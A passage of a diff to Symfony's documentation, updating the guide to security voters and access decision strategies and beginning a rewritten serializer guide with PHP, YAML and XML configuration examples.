Setup: Checking for Access in a Controller @@ -67,43 +61,65 @@ Setup: Checking for Access in a Controller Suppose you have a ``Post`` object and you need to decide whether or not the current user can *edit* or *view* the object. In your controller, you'll check access with -code like this:: +code like this: - // src/Controller/PostController.php - // ... +.. configuration-block:: - class PostController extends AbstractController - { - /** - * @Route("/posts/{id}", name="post_show") - */ - public function show($id) - { - // get a Post object - e.g. query for it - $post = ...; + .. code-block:: php-attributes + + // src/Controller/PostController.php + // ... + use Symfony\Component\Security\Http\Attribute\IsGranted; + + class PostController extends AbstractController + { + #[Route('/posts/{id}', name: 'post_show')] // check for "view" access: calls all voters - $this->denyAccessUnlessGranted('view', $post); + #[IsGranted('view', 'post')] + public function show(Post $post): Response + { + // ... + } - // ... + #[Route('/posts/{id}/edit', name: 'post_edit')] + // check for "edit" access: calls all voters + #[IsGranted('edit', 'post')] + public function edit(Post $post): Response + { + // ... + } } - /** - * @Route("/posts/{id}/edit", name="post_edit") - */ - public function edit($id) + .. code-block:: php + + // src/Controller/PostController.php + + // ... + use App\Security\PostVoter; + + class PostController extends AbstractController { - // get a Post object - e.g. query for it - $post = ...; + #[Route('/posts/{id}', name: 'post_show')] + public function show(Post $post): Response + { + // check for "view" access: calls all voters + $this->denyAccessUnlessGranted(PostVoter::VIEW, $post); - // check for "edit" access: calls all voters - $this->denyAccessUnlessGranted('edit', $post); + // ... + } - // ... + #[Route('/posts/{id}/edit', name: 'post_edit')] + public function edit(Post $post): Response + { + // check for "edit" access: calls all voters + $this->denyAccessUnlessGranted(PostVoter::EDIT, $post); + + // ... + } } - } -The ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method) +The ``#[IsGranted]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method) calls out to the "voter" system. Right now, no voters will vote on whether or not the user can "view" or "edit" a ``Post``. But you can create your *own* voter that decides this using whatever logic you want. @@ -122,6 +138,7 @@ would look like this:: use App\Entity\Post; use App\Entity\User; use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; + use Symfony\Component\Security\Core\Authorization\Voter\Vote; use Symfony\Component\Security\Core\Authorization\Voter\Voter; class PostVoter extends Voter @@ -130,7 +147,7 @@ would look like this:: const VIEW = 'view'; const EDIT = 'edit'; - protected function supports(string $attribute, $subject) + protected function supports(string $attribute, mixed $subject): bool { // if the attribute isn't one we support, return false if (!in_array($attribute, [self::VIEW, self::EDIT])) { @@ -145,12 +162,13 @@ would look like this:: return true; } - protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token) + protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool { $user = $token->getUser(); if (!$user instanceof User) { // the user must be logged in; if not, deny access + $vote?->addReason('The user is not logged in.'); return false; } @@ -158,17 +176,14 @@ would look like this:: /** @var Post $post */ $post = $subject; - switch ($attribute) { - case self::VIEW: - return $this->canView($post, $user); - case self::EDIT: - return $this->canEdit($post, $user); - } - - throw new \LogicException('This code should not be reached!'); + return match($attribute) { + self::VIEW => $this->canView($post, $user), + self::EDIT => $this->canEdit($post, $user, $vote), + default => throw new \LogicException('This code should not be reached!') + }; } - private function canView(Post $post, User $user) + private function canView(Post $post, User $user): bool { // if they can edit, they can view if ($this->canEdit($post, $user)) { @@ -179,10 +194,19 @@ would look like this:: return !$post->isPrivate(); } - private function canEdit(Post $post, User $user) + private function canEdit(Post $post, User $user, ?Vote $vote): bool { - // this assumes that the Post object has a `getOwner()` method - return $user === $post->getOwner(); + // this assumes that the Post object has a `getAuthor()` method + if ($user === $post->getAuthor()) { + return true; + } + + $vote?->addReason(sprintf( + 'The logged in user (username: %s) is not the author of this post (id: %d).', + $user->getUsername(), $post->getId() + )); + + return false; } } @@ -190,7 +214,7 @@ That's it! The voter is done! Next, :ref:`configure it <declaring-the-voter-as-a To recap, here's what's expected from the two abstract methods: -``Voter::supports(string $attribute, $subject)`` +``Voter::supports(string $attribute, mixed $subject)`` When ``isGranted()`` (or ``denyAccessUnlessGranted()``) is called, the first argument is passed here as ``$attribute`` (e.g. ``ROLE_USER``, ``edit``) and the second argument (if any) is passed as ``$subject`` (e.g. ``null``, a ``Post`` @@ -200,11 +224,12 @@ To recap, here's what's expected from the two abstract methods: return ``true`` if the attribute is ``view`` or ``edit`` and if the object is a ``Post`` instance. -``voteOnAttribute(string $attribute, $subject, TokenInterface $token)`` +``voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null)`` If you return ``true`` from ``supports()``, then this method is called. Your job is to return ``true`` to allow access and ``false`` to deny access. - The ``$token`` can be used to find the current user object (if any). In this - example, all of the complex business logic is included to determine access. + The ``$token`` can be used to find the current user object (if any). + The ``$vote`` argument can be used to provide an explanation for the vote. + This explanation is included in log messages and on exception pages. .. _declaring-the-voter-as-a-service: @@ -222,33 +247,31 @@ Checking for Roles inside a Voter --------------------------------- What if you want to call ``isGranted()`` from *inside* your voter - e.g. you want -to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by injecting -the :class:`Symfony\\Component\\Security\\Core\\Security` -into your voter. You can use this to, for example, *always* allow access to a user +to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by using an +:class:`access decision manager <Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface>` +inside your voter. You can use this to, for example, *always* allow access to a user with ``ROLE_SUPER_ADMIN``:: // src/Security/PostVoter.php // ... - use Symfony\Component\Security\Core\Security; + use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface; class PostVoter extends Voter { // ... - private $security; - - public function __construct(Security $security) - { - $this->security = $security; + public function __construct( + private AccessDecisionManagerInterface $accessDecisionManager, + ) { } - protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token) + protected function voteOnAttribute($attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool { // ... // ROLE_SUPER_ADMIN can do anything! The power! - if ($this->security->isGranted('ROLE_SUPER_ADMIN')) { + if ($this->accessDecisionManager->decide($token, ['ROLE_SUPER_ADMIN'])) { return true; } @@ -256,10 +279,112 @@ with ``ROLE_SUPER_ADMIN``:: } } +.. warning:: + + In the previous example, avoid using the following code to check if a role + is granted permission:: + + // DON'T DO THIS + use Symfony\Component\Security\Core\Security; + // ... + + if ($this->security->isGranted('ROLE_SUPER_ADMIN')) { + // ... + } + + The ``Security::isGranted()`` method inside a voter has a significant + drawback: it does not guarantee that the checks are performed on the same + token as the one in your voter. The token in the token storage might have + changed or could change in the meantime. Always use the ``AccessDecisionManager`` + instead. + If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, you're done! Symfony will automatically pass the ``security.helper`` service when instantiating your voter (thanks to autowiring). +Improving Voter Performance +--------------------------- + +If your application defines many voters and checks permissions on many objects +during a single request, this can impact performance. Most of the time, voters +only care about specific permissions (attributes), such as ``EDIT_BLOG_POST``, +or specific object types, such as ``User`` or ``Invoice``. That's why Symfony +can cache the voter resolution (i.e. the decision to apply or skip a voter for +a given attribute or object). + +To enable this optimization, make your voter implement +:class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`. +This is already the case when extending the abstract ``Voter`` class shown above. +Then, override one or both of the following methods:: + + use App\Entity\Post; + use Symfony\Component\Security\Core\Authorization\Voter\Voter; + // ... + + class PostVoter extends Voter + { + const VIEW = 'view'; + const EDIT = 'edit'; + + protected function supports(string $attribute, mixed $subject): bool + { + // ... + } + + protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token): bool + { + // ... + } + + // this method returns true if the voter applies to the given attribute; + // if it returns false, Symfony won't call it again for this attribute + public function supportsAttribute(string $attribute): bool + { + return in_array($attribute, [self::VIEW, self::EDIT], true); + } + + // this method returns true if the voter applies to the given object class/type; + // if it returns false, Symfony won't call it again for that type of object + public function supportsType(string $subjectType): bool + { + // you can't use a simple Post::class === $subjectType comparison + // because the subject type might be a Doctrine proxy class + return is_a($subjectType, Post::class, true); + } + } + +.. _security-voters-change-message-and-status-code: + +Changing the message and status code returned +--------------------------------------------- + +By default, the ``#[IsGranted]`` attribute will throw a +:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException` +and return an http **403** status code with **Access Denied** as message. + +However, you can change this behavior by specifying the message and status code returned:: + + // src/Controller/PostController.php + + // ... + use Symfony\Component\Security\Http\Attribute\IsGranted; + + class PostController extends AbstractController + { + #[Route('/posts/{id}', name: 'post_show')] + #[IsGranted('show', 'post', 'Post not found', 404)] + public function show(Post $post): Response + { + // ... + } + } + +.. tip:: + + If the status code is different than 403, an + :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException` + will be thrown instead. + .. _security-voters-change-strategy: Changing the Access Decision Strategy @@ -272,26 +397,26 @@ checks if the user is a member of the site and a second one that checks if the u is older than 18. To handle these cases, the access decision manager uses a "strategy" which you can configure. -There are three strategies available: +There are four strategies available: ``affirmative`` (default) This grants access as soon as there is *one* voter granting access; ``consensus`` - This grants access if there are more voters granting access than denying; + This grants access if there are more voters granting access than + denying. In case of a tie the decision is based on the + ``allow_if_equal_granted_denied`` config option (defaulting to ``true``); ``unanimous`` - This only grants access if there is no voter denying access. If all voters - abstained from voting, the decision is based on the ``allow_if_all_abstain`` - config option (which defaults to ``false``); + This only grants access if there is no voter denying access. ``priority`` This grants or denies access by the first voter that does not abstain, based on their service priority; - .. versionadded:: 5.1 - - The ``priority`` version strategy was introduced in Symfony 5.1. +Regardless the chosen strategy, if all voters abstained from voting, the +decision is based on the ``allow_if_all_abstain`` config option (which +defaults to ``false``). In the above scenario, both voters should grant access in order to grant access to the user to read the post. In this case, the default strategy is no longer @@ -329,17 +454,66 @@ security configuration: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - 'access_decision_manager' => [ - 'strategy' => 'unanimous', - 'allow_if_all_abstain' => false, - ], - ]); + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->accessDecisionManager() + ->strategy('unanimous') + ->allowIfAllAbstain(false) + ; + }; Custom Access Decision Strategy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -If none of the built-in strategies fits your use case, define the ``service`` +If none of the built-in strategies fits your use case, define the ``strategy_service`` +option to use a custom service (your service must implement the +:class:`Symfony\\Component\\Security\\Core\Authorization\\Strategy\\AccessDecisionStrategyInterface`): + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + access_decision_manager: + strategy_service: App\Security\MyCustomAccessDecisionStrategy + # ... + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd" + > + + <config> + <access-decision-manager + strategy-service="App\Security\MyCustomAccessDecisionStrategy"/> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\MyCustomAccessDecisionStrategy; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->accessDecisionManager() + ->strategyService(MyCustomAccessDecisionStrategy::class) + // ... + ; + }; + +Custom Access Decision Manager +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you need to provide an entirely custom access decision manager, define the ``service`` option to use a custom service as the Access Decision Manager (your service must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface`): @@ -374,10 +548,11 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac // config/packages/security.php use App\Security\MyCustomAccessDecisionManager; + use Symfony\Config\SecurityConfig; - $container->loadFromExtension('security', [ - 'access_decision_manager' => [ - 'service' => MyCustomAccessDecisionManager::class, + return static function (SecurityConfig $security): void { + $security->accessDecisionManager() + ->service(MyCustomAccessDecisionManager::class) // ... - ], - ]); + ; + }; diff --git a/serializer.rst b/serializer.rst index 121b0ab426f..eb06f1b34a1 100644 --- a/serializer.rst +++ b/serializer.rst @@ -1,92 +1,1712 @@ -.. index:: - single: Serializer - How to Use the Serializer ========================= -Symfony provides a serializer to serialize/deserialize to and from objects and -different formats (e.g. JSON or XML). Before using it, read the -:doc:`Serializer component docs </components/serializer>` to get familiar with -its philosophy and the normalizers and encoders terminology. +Symfony provides a serializer to transform data structures from one format +to PHP objects and the other way around. + +This is most commonly used when building an API or communicating with third +party APIs. The serializer can transform an incoming JSON request payload +to a PHP object that is consumed by your application. Then, when generating +the response, you can use the serializer to transform the PHP objects back +to a JSON response. + +It can also be used to, for instance, load CSV configuration data as PHP +objects, or even to transform between formats (e.g. YAML to XML). .. _activating_the_serializer: -Installation ------------- +Installation +------------ + +In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to +install the serializer :ref:`Symfony pack <symfony-packs>` before using it: + +.. code-block:: terminal + + $ composer require symfony/serializer-pack + +.. note:: + + The serializer pack also installs some commonly used optional + dependencies of the Serializer component. When using this component + outside the Symfony framework, you might want to start with the + ``symfony/serializer`` package and install optional dependencies if you + need them. + +.. seealso:: + + A popular alternative to the Symfony Serializer component is the third-party + library, `JMS serializer`_. + +Serializing an Object +--------------------- + +For this example, assume the following class exists in your project:: + + // src/Model/Person.php + namespace App\Model; + + class Person + { + public function __construct( + private int $age, + private string $name, + private bool $sportsperson + ) { + } + + public function getAge(): int + { + return $this->age; + } + + public function getName(): string + { + return $this->name; + } + + public function isSportsperson(): bool + { + return $this->sportsperson; + } + } + +If you want to transform objects of this type into a JSON structure (e.g. +to send them via an API response), get the ``serializer`` service by using +the :class:`Symfony\\Component\\Serializer\\SerializerInterface` parameter type: + +.. configuration-block:: + + .. code-block:: php-symfony + + // src/Controller/PersonController.php + namespace App\Controller; + + use App\Model\Person; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\JsonResponse; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Serializer\SerializerInterface; + + class PersonController extends AbstractController + { + public function index(SerializerInterface $serializer): Response + { + $person = new Person('Jane Doe', 39, false); + + $jsonContent = $serializer->serialize($person, 'json'); + // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false} + + return JsonResponse::fromJsonString($jsonContent); + } + } + + .. code-block:: php-standalone + + use App\Model\Person; + use Symfony\Component\Serializer\Encoder\JsonEncoder; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + $encoders = [new JsonEncoder()]; + $normalizers = [new ObjectNormalizer()]; + $serializer = new Serializer($normalizers, $encoders); + + $person = new Person('Jane Done', 39, false); + + $jsonContent = $serializer->serialize($person, 'json'); + // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false} + +The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize` +is the object to be serialized and the second is used to choose the proper +encoder (i.e. format), in this case the :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`. + +.. tip:: + + When your controller class extends ``AbstractController`` (like in the + example above), you can simplify your controller by using the + :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::json` + method to create a JSON response from an object using the Serializer:: + + class PersonController extends AbstractController + { + public function index(): Response + { + $person = new Person('Jane Doe', 39, false); + + // when the Serializer is not available, this will use json_encode() + return $this->json($person); + } + } + +Using the Serializer in Twig Templates +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can also serialize objects in any Twig template using the ``serialize`` +filter: + +.. code-block:: twig + + {{ person|serialize(format = 'json') }} + +See the :ref:`twig reference <reference-twig-filter-serialize>` for more +information. + +Deserializing an Object +----------------------- + +APIs often also need to convert a formatted request body (e.g. JSON) to a +PHP object. This process is called *deserialization* (also known as "hydration"): + +.. configuration-block:: + + .. code-block:: php-symfony + + // src/Controller/PersonController.php + namespace App\Controller; + + // ... + use Symfony\Component\HttpFoundation\Exception\BadRequestException; + use Symfony\Component\HttpFoundation\Request; + + class PersonController extends AbstractController + { + // ... + + public function create(Request $request, SerializerInterface $serializer): Response + { + if ('json' !== $request->getContentTypeFormat()) { + throw new BadRequestException('Unsupported content format'); + } + + $jsonData = $request->getContent(); + $person = $serializer->deserialize($jsonData, Person::class, 'json'); + + // ... do something with $person and return a response + } + } + + .. code-block:: php-standalone + + use App\Model\Person; + use Symfony\Component\Serializer\Encoder\JsonEncoder; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + // ... + $jsonData = ...; // fetch JSON from the request + $person = $serializer->deserialize($jsonData, Person::class, 'json'); + +In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize` +needs three parameters: + +#. The data to be decoded +#. The name of the class this information will be decoded to +#. The name of the encoder used to convert the data to an array (i.e. the + input format) + +When sending a request to this controller (e.g. +``{"first_name":"John Doe","age":54,"sportsperson":true}``), the serializer +will create a new instance of ``Person`` and sets the properties to the +values from the given JSON. + +.. note:: + + By default, additional attributes that are not mapped to the + denormalized object will be ignored by the Serializer component. For + instance, if a request to the above controller contains ``{..., "city": "Paris"}``, + the ``city`` field will be ignored. You can also throw an exception in + these cases using the :ref:`serializer context <serializer-context>` + you'll learn about later. + +.. seealso:: + + You can also deserialize data into an existing object instance (e.g. + when updating data). See :ref:`Deserializing in an Existing Object <serializer-populate-existing-object>`. + +.. _serializer-process: + +The Serialization Process: Normalizers and Encoders +--------------------------------------------------- + +The serializer uses a two-step process when (de)serializing objects: + +.. raw:: html + + <object data="_images/serializer/serializer_workflow.svg" type="image/svg+xml" + alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph." + ></object> + +In both directions, data is always first converted to an array. This splits +the process in two separate responsibilities: + +Normalizers + These classes convert **objects** into **arrays** and vice versa. They + do the heavy lifting of finding out which class properties to + serialize, what value they hold and what name they should have. +Encoders + Encoders convert **arrays** into a specific **format** and the other + way around. Each encoder knows exactly how to parse and generate a + specific format, for instance JSON or XML. + +Internally, the ``Serializer`` class uses a sorted list of normalizers and +one encoder for the specific format when (de)serializing an object. + +There are several normalizers configured in the default ``serializer`` +service. The most important normalizer is the +:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`. This +normalizer uses reflection and the :doc:`PropertyAccess component </components/property_access>` +to transform between any object and an array. You'll learn more about +:ref:`this and other normalizers <serializer-normalizers>` later. + +The default serializer is also configured with some encoders, covering the +common formats used by HTTP applications: + +* :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder` +* :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder` +* :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder` +* :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder` + +Read more about these encoders and their configuration in +:doc:`/serializer/encoders`. + +.. tip:: + + The `API Platform`_ project provides encoders for more advanced + formats: + + * `JSON-LD`_ along with the `Hydra Core Vocabulary`_ + * `OpenAPI`_ v2 (formerly Swagger) and v3 + * `GraphQL`_ + * `JSON:API`_ + * `HAL`_ + +.. _serializer-context: + +Serializer Context +~~~~~~~~~~~~~~~~~~ + +The serializer, and its normalizers and encoders, are configured through +the *serializer context*. This context can be configured in multiple +places: + +* :ref:`Globally through the framework configuration <serializer-default-context>` +* :ref:`While serializing/deserializing <serializer-context-while-serializing-deserializing>` +* :ref:`For a specific property <serializer-using-context-builders>` + +You can use all three options at the same time. When the same setting is +configured in multiple places, the latter in the list above will override +the previous one (e.g. the setting on a specific property overrides the one +configured globally). + +.. _serializer-default-context: + +Configure a Default Context +........................... + +You can configure a default context in the framework configuration, for +instance to disallow extra fields while deserializing: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/serializer.yaml + framework: + serializer: + default_context: + allow_extra_attributes: false + + .. code-block:: xml + + <!-- config/packages/serializer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:serializer> + <framework:default-context> + <framework:allow-extra-attributes>false</framework:allow-extra-attributes> + </framework:default-context> + </framework:serializer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/serializer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->serializer() + ->defaultContext([ + 'allow_extra_attributes' => false, + ]) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + + // ... + $normalizers = [ + new ObjectNormalizer(null, null, null, null, null, null, [ + 'allow_extra_attributes' => false, + ]), + ]; + $serializer = new Serializer($normalizers, $encoders); + +.. _serializer-context-while-serializing-deserializing: + +Pass Context while Serializing/Deserializing +............................................ + +You can also configure the context for a single call to +``serialize()``/``deserialize()``. For instance, you can skip +properties with a ``null`` value only for one serialize call:: + + use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer; + + // ... + $serializer->serialize($person, 'json', [ + AbstractObjectNormalizer::SKIP_NULL_VALUES => true + ]); + + // next calls to serialize() will NOT skip null values + +.. _serializer-using-context-builders: + +Using Context Builders +"""""""""""""""""""""" + +You can use "context builders" to help define the (de)serialization +context. Context builders are PHP objects that provide autocompletion, +validation, and documentation of context options:: + + use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder; + + $contextBuilder = (new DateTimeNormalizerContextBuilder()) + ->withFormat('Y-m-d H:i:s'); + $serializer->serialize($something, 'json', $contextBuilder->toArray()); + +Each normalizer/encoder has its related context builder. To create a more +complex (de)serialization context, you can chain them using the +``withContext()`` method:: + + use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder; + use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder; + + $initialContext = [ + 'custom_key' => 'custom_value', + ]; + + $contextBuilder = (new ObjectNormalizerContextBuilder()) + ->withContext($initialContext) + ->withGroups(['group1', 'group2']); + + $contextBuilder = (new CsvEncoderContextBuilder()) + ->withContext($contextBuilder) + ->withDelimiter(';'); + + $serializer->serialize($something, 'csv', $contextBuilder->toArray()); + +.. seealso:: + + You can also :doc:`create your context builders </serializer/custom_context_builders>` + to have autocompletion, validation, and documentation for your custom + context values. + +Configure Context on a Specific Property +........................................ + +At last, you can also configure context values on a specific object +property. For instance, to configure the datetime format: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + + // ... + use Symfony\Component\Serializer\Attribute\Context; + use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; + + class Person + { + #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])] + public \DateTimeImmutable $createdAt; + + // ... + } + + .. code-block:: yaml + + # config/serializer/person.yaml + App\Model\Person: + attributes: + createdAt: + contexts: + - context: { datetime_format: 'Y-m-d' } + + .. code-block:: xml + + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="createdAt"> + <context> + <entry name="datetime_format">Y-m-d</entry> + </context> + </attribute> + </class> + </serializer> + +.. note:: + + When using YAML or XML, the mapping files must be placed in one of + these locations: + + * All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/`` + directory. + * The ``serialization.yaml`` or ``serialization.xml`` file in the + ``Resources/config/`` directory of a bundle; + * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/`` + directory of a bundle. + +You can also specify a context specific to normalization or denormalization: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + + // ... + use Symfony\Component\Serializer\Attribute\Context; + use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; + + class Person + { + #[Context( + normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'], + denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339], + )] + public \DateTimeImmutable $createdAt; + + // ... + } + + .. code-block:: yaml + + # config/serializer/person.yaml + App\Model\Person: + attributes: + createdAt: + contexts: + - normalization_context: { datetime_format: 'Y-m-d' } + denormalization_context: { datetime_format: !php/const \DateTime::RFC3339 } + + .. code-block:: xml + + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="createdAt"> + <normalization-context> + <entry name="datetime_format">Y-m-d</entry> + </normalization-context> + + <denormalization-context> + <entry name="datetime_format">Y-m-d\TH:i:sP</entry> + </denormalization-context> + </attribute> + </class> + </serializer> + +.. _serializer-context-group: + +You can also restrict the usage of a context to some +:ref:`groups <serializer-groups-attribute>`: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + + // ... + use Symfony\Component\Serializer\Attribute\Context; + use Symfony\Component\Serializer\Attribute\Groups; + use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; + + class Person + { + #[Groups(['extended'])] + #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])] + #[Context( + context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED], + groups: ['extended'], + )] + public \DateTimeImmutable $createdAt; + + // ... + } + + .. code-block:: yaml + + # config/serializer/person.yaml + App\Model\Person: + attributes: + createdAt: + groups: [extended] + contexts: + - context: { datetime_format: !php/const \DateTime::RFC3339 } + - context: { datetime_format: !php/const \DateTime::RFC3339_EXTENDED } + groups: [extended] + + .. code-block:: xml + + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="createdAt"> + <group>extended</group> + + <context> + <entry name="datetime_format">Y-m-d\TH:i:sP</entry> + </context> + <context> + <entry name="datetime_format">Y-m-d\TH:i:s.vP</entry> + <group>extended</group> + </context> + </attribute> + </class> + </serializer> + +The attribute can be repeated as much as needed on a single property. +Context without group is always applied first. Then context for the +matching groups are merged in the provided order. + +If you repeat the same context in multiple properties, consider using the +``#[Context]`` attribute on your class to apply that context configuration to +all the properties of the class:: + + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\Context; + use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; + + #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])] + #[Context( + context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED], + groups: ['extended'], + )] + class Person + { + // ... + } + +Serializing JSON Using Streams +------------------------------ + +Symfony can encode PHP data structures to JSON streams and decode JSON streams +back into PHP data structures. + +To do this, it relies on the :doc:`JsonStreamer component </serializer/streaming_json>`, +which is designed for high efficiency and can process large JSON data incrementally, +without needing to load the entire content into memory. + +When deciding between the Serializer component and the JsonStreamer component, +consider the following: + +* **Serializer Component**: Best suited for use cases that require flexibility, + such as dynamically manipulating object structures using normalizers and + denormalizers, or handling complex objects with multiple serialization + formats. It also supports output formats beyond JSON (including your own + custom ones). +* **JsonStreamer Component**: Best suited for simple objects and scenarios that + demand high performance and low memory usage. It's particularly effective + for processing very large JSON datasets or when streaming JSON in real-time + without loading the entire dataset into memory. + +The choice depends on your specific use case. The JsonStreamer component is +tailored for performance and memory efficiency, whereas the Serializer +component provides greater flexibility and broader format support. + +Read more about :doc:`streaming JSON </serializer/streaming_json>`. + +Serializing to or from PHP Arrays +--------------------------------- + +The default :class:`Symfony\\Component\\Serializer\\Serializer` can also be +used to only perform one step of the :ref:`two step serialization process <serializer-process>` +by using the respective interface: + +.. configuration-block:: + + .. code-block:: php-symfony + + use Symfony\Component\Serializer\Encoder\DecoderInterface; + use Symfony\Component\Serializer\Encoder\EncoderInterface; + use Symfony\Component\Serializer\Normalizer\DenormalizerInterface; + use Symfony\Component\Serializer\Normalizer\NormalizerInterface; + // ... + + class PersonController extends AbstractController + { + public function index(DenormalizerInterface&NormalizerInterface $serializer): Response + { + $person = new Person('Jane Doe', 39, false); + + // use normalize() to convert a PHP object to an array + $personArray = $serializer->normalize($person, 'json'); + + // ...and denormalize() to convert an array back to a PHP object + $personCopy = $serializer->denormalize($personArray, Person::class); + + // ... + } + + public function json(DecoderInterface&EncoderInterface $serializer): Response + { + $data = ['name' => 'Jane Doe']; + + // use encode() to transform PHP arrays into another format + $json = $serializer->encode($data, 'json'); + + // ...and decode() to transform any format to just PHP arrays (instead of objects) + $data = $serializer->decode('{"name":"Charlie Doe"}', 'json'); + // $data contains ['name' => 'Charlie Doe'] + } + } + + .. code-block:: php-standalone + + use App\Model\Person; + use Symfony\Component\Serializer\Encoder\JsonEncoder; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + $encoders = [new JsonEncoder()]; + $normalizers = [new ObjectNormalizer()]; + $serializer = new Serializer($normalizers, 